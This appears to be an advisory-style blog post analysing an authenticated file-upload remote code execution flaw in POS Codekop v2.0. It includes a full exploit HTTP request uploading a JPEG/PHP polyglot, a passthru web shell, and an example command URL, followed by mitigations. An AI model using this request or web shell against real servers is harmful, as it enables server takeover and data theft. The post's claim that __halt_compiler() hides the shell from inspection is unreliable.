POS Codekop v2.0 - Authenticated Remote Code Execution (RCE)

POS Codekop v2.0 – Authenticated Remote Code Execution (RCE) Vulnerability: A Deep Dive into CVE-2023-36348

POS Codekop v2.0, a popular open-source point-of-sale (POS) system built with PHP, has recently been flagged for a critical security flaw that allows authenticated attackers to achieve Remote Code Execution (RCE) via a seemingly innocuous file upload feature. This vulnerability, assigned CVE-2023-36348, underscores the dangers of inadequate input sanitization in web applications, even when access is restricted to authenticated users.

Understanding the Vulnerability

The core issue lies in the application’s handling of the gambar parameter within the /fungsi/edit/edit.php endpoint. This endpoint is designed to allow users to upload profile photos, but it fails to properly validate or sanitize the filename provided during the upload process.

Attackers can exploit this by uploading a malicious PHP file disguised as an image — for example, asuka-rce.php. Since the system only checks the MIME type (e.g., image/jpeg) and not the actual file content or extension, the upload is accepted and stored in the assets/img/user/ directory with a random numeric prefix.

Once uploaded, the file becomes accessible via a predictable URL:

http://localhost/research/pos-kasir-php/assets/img/user/[random_number]asuka-rce.php

This path is directly executable by the web server, meaning any PHP code within the file is interpreted and executed — effectively granting remote control over the system.

Proof of Concept: How the Exploit Works

Here is a breakdown of the attack sequence:

• Authentication Required: The attacker must first log in to the POS Codekop dashboard using valid credentials. This restricts the exploit to users with legitimate access.
• Access Profile Settings: Navigate to the user profile section, where the "Upload Profile Photo" feature is available.
• Upload Malicious File: Craft a file named asuka-rce.php with a valid Content-Type: image/jpeg header, but containing executable PHP code.
• Execution: After upload, the file is saved in the public directory and becomes accessible via the predictable URL.

Burp Suite Log Analysis

Examining the HTTP request from the exploit author reveals the exact mechanism:

POST /research/pos-kasir-php/fungsi/edit/edit.php?gambar=user HTTP/1.1
Host: localhost
Content-Length: 8934
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymVBHqH4m6KgKBnpa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Cookie: PHPSESSID=vqlfiarme77n1r4o8eh2kglfhv

------WebKitFormBoundarymVBHqH4m6KgKBnpa
Content-Disposition: form-data; name="foto"; filename="asuka-rce.php"
Content-Type: image/jpeg

ÿØÿà JFIF HHÿþ6<?php passthru($_GET['cmd']); __halt_compiler(); ?>
ÿÛC

The key insight here is that the filename parameter is directly used to determine the stored file name without any sanitization. The Content-Type header is set to image/jpeg, fooling the server into treating it as an image, while the actual content is a PHP script.

Why This is Dangerous

This vulnerability is particularly dangerous because:

• Authenticated Access Required: It prevents unauthenticated attackers from exploiting it, but it still poses a risk for insider threats or compromised user accounts.
• Execution Without Escalation: The attacker gains full code execution on the server without needing privilege escalation.
• Stealthy Delivery: The malicious file appears as an image, making it hard to detect through standard file scanning or security audits.
• Web Shell Persistence: The uploaded file remains accessible until manually deleted, allowing long-term access.

Example: PHP Web Shell

Consider the following payload used in the exploit:

<?php
    passthru($_GET['cmd']);
    __halt_compiler();
?>

Explanation: This PHP script is designed to execute any command passed via the cmd parameter in the URL. For example:

http://localhost/research/pos-kasir-php/assets/img/user/12345asuka-rce.php?cmd=whoami

When accessed, the server will execute whoami and return the current system user — confirming the shell is active.

Adding __halt_compiler() at the end prevents the PHP parser from processing any additional code, effectively hiding the script from standard inspection tools. This is a common technique used in web shells to avoid detection.

Security Implications and Risk Assessment

Severity	Critical (CVSS 9.8)
Attack Vector	Network (authenticated)
Exploitability	High — requires only login access
Impact	Complete system compromise, data theft, persistence, lateral movement
Prevention	Input validation, file extension filtering, content inspection

Recommended Mitigations

To prevent such vulnerabilities, developers and administrators should implement the following security controls:

• File Extension Validation: Only allow specific extensions (e.g., .jpg, .png) and reject any .php, .phtml, or other executable formats.
• Content Inspection: Use file type detection tools (e.g., file command or MIME sniffing) to verify the actual content, not just the header.
• Upload Directory Restrictions: Store uploaded files outside the web root or disable execution in upload directories.
• Sanitize Filenames: Strip or replace dangerous characters and ensure filenames do not contain executable extensions.
• Logging and Monitoring: Log all file uploads and monitor for unusual patterns (e.g., PHP files in image upload paths).

Expert Insight: Lessons from CVE-2023-36348

This vulnerability exemplifies a common pitfall in web application development: trust in metadata over content. Many developers assume that if a file claims to be an image, it is safe. However, this is a false assumption — attackers can manipulate metadata to bypass security checks.

As cybersecurity experts, we must emphasize: never trust the client. Always validate file content, not just headers or extensions. Implementing a layered defense — including file type detection, content scanning, and execution restrictions — is essential for securing web applications.

For organizations using POS Codekop v2.0, immediate action is required: upgrade to a patched version or apply manual fixes to the edit.php file. Until then, the system remains vulnerable to remote code execution by any authenticated user.